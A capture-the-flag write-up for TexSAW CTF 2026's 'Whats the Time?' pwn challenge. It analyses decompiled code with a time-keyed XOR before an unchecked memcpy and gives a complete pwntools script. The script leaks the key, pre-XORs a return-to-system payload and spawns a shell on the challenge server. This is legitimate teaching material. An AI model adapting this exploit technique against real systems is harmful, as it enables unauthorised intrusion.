TexSAW CTF 2026 Whats the Time?

This Pwn challenge is a classic buffer overflow with a twist: the input is obfuscated via a time-based XOR operation before being copied to the stack.

Challenge Description

I think one of the hands of my watch broke. Can you tell me what the time is?

nc chals.texsaw.org 3000

Flag format: texsaw{flag}

Solution

1. Binary Analysis

Using checksec, we identify the binary’s protections:

  • Arch: i386-32-little
  • RELRO: Partial RELRO
  • Stack: No canary found
  • NX: NX enabled (cannot execute shellcode on the stack)
  • PIE: PIE disabled (fixed addresses for code/data)

Since PIE is disabled and there is no stack canary, the primary goal is a Return-to-PLT attack to call system("/bin/sh").

2. Identifying Vulnerabilities

Disassembling the binary reveals two critical functions: main and read_user_input.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *v3; // eax
time_t timer; // [esp+0h] [ebp-10h] BYREF
time_t key; // [esp+4h] [ebp-Ch]
int *p_argc; // [esp+8h] [ebp-8h]

p_argc = &argc;
// 向下取整
key = 60 * (time(0) / 60);
timer = key;
puts("I think one of my watch hands fell off!");
v3 = ctime(&timer);
printf("Currently the time is: %s", v3);
read_user_input(key);
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
ssize_t __cdecl read_user_input(int key)
{
_BYTE dest[40]; // [esp+18h] [ebp-40h] BYREF
size_t n; // [esp+40h] [ebp-18h]
void *buf; // [esp+44h] [ebp-14h]
int j; // [esp+48h] [ebp-10h]
signed int i; // [esp+4Ch] [ebp-Ch]

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
// heap
buf = malloc(0xA0u);
n = read(0, buf, 0xA0u);
// twist
// 4 bytes at a time
for ( i = 0; i < (int)n; i += 4 )
{
// xor each 4 bytes
for ( j = 0; j <= 3; ++j )
// 这行代码的左边:*((_BYTE *)buf + ...)
// 那个 _BYTE(通常是 unsigned char 的 typedef)明确告诉了 C 编译器只操作这 1 个 byte (8 bits) 的内存空间。
// 当你试图把一个 32-bit 的庞大数据 (0x11223344),通过异或运算 (^=) 强行塞进一个只有 8-bit 容量的单字节内存空间时,C 语言会只保留最底部的 8 bits。
// 也就是说,编译器在底层自动帮你做了一个类似掩码 & 0xFF 的操作。0x11223344 经过单字节截断后,高位的 0x112233 直接被丢弃,只剩下了 0x44。而这个 0x44,恰恰就是 a1 的最低有效字节 (LSB)。
*((_BYTE *)buf + i + j) ^= key >> (8 * j);
// update key
++key;
}
// stack
memcpy(dest, buf, n);
return write(1, dest, 0x28u);
}
  • Key Generation: In main, the program takes the current Unix timestamp and rounds it down to the nearest minute: time_val = (time(0) / 60) * 60. This value is then passed into read_user_input.

  • The XOR Loop: Inside read_user_input, the program reads up to 160 bytes into a heap buffer. It then iterates through the input, XORing every 4-byte chunk with the time_val. Crucially, the time_val increments by 1 after every 4 bytes.

  • Buffer Overflow: After XORing, the program uses memcpy to copy the processed buffer into a local stack buffer (ebp-0x40). Since the stack buffer is only 64 bytes but memcpy copies up to 160 bytes, we have a stack-based buffer overflow.

3. Exploitation Strategy

Step 1: Leaking the Key The program XORs our input and then calls write to send 40 bytes of the stack buffer back to us. To bypass the XOR obfuscation, we first send a string of null bytes (\x00). Because x ^ 0 = x, the server returns the XOR key itself. This allows us to recover the exact time_val used by the server.

Step 2: Crafting the Payload We need to overwrite the return address at ebp + 4. The distance from the buffer start (ebp - 0x40) to the return address is 68 bytes.

Our desired stack layout after memcpy should be: [68 bytes of padding] + [Address of system@plt] + [4 bytes of dummy return] + [Address of "/bin/sh"]

Step 3: Pre-XORing Because the program will XOR our input before it hits the stack, we must “pre-XOR” our payload. If the program expects Payload ^ Key = Stack, we must send Payload ^ Key so that when the server XORs it with Key, the result on the stack is our desired Payload.

4. Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *

target = remote('chals.texsaw.org', 3000)

# 1. Leak the time-based XOR key
target.recvuntil(b'Currently the time is: ')
target.send(b'\x00' * 100)
output = target.recv(40)
leaked_time_val = u32(output[0:4])

# 2. Re-connect to apply the key (or use it if time hasn't changed)
target.close()
target = remote('chals.texsaw.org', 3000)

# Binary addresses (PIE disabled)
system_plt = 0x080490b0
bin_sh_addr = 0x0804a018

# Function to XOR payload according to binary logic
def xor_payload(data, key_val):
res = bytearray()
for i in range(0, len(data), 4):
chunk = data[i:i+4]
# Calculate the key for this 4-byte chunk
key = p32((key_val + (i // 4)) & 0xFFFFFFFF)
for j in range(len(chunk)):
res.append(chunk[j] ^ key[j])
return bytes(res)

# 3. Build and send the Pre-XORed payload
# 68 bytes of padding, then system(), dummy ret, then pointer to "/bin/sh"
# 在 32 位 Linux 环境下,标准的 C 语言函数调用遵循 cdecl 约定。如果这是一个合法的 call system 指令,CPU 会在跳转之前做一件事:把 call 指令的下一条指令地址 push 到 stack 上,作为 Return Address。然后紧接着才是函数的参数。
payload = b'A' * 68 + p32(system_plt) + b'EXIT' + p32(bin_sh_addr)
target.send(xor_payload(payload, leaked_time_val))

# 4. Get the shell
target.interactive()

Flag

texsaw{7h4nk_u_f0r_y0ur_71m3}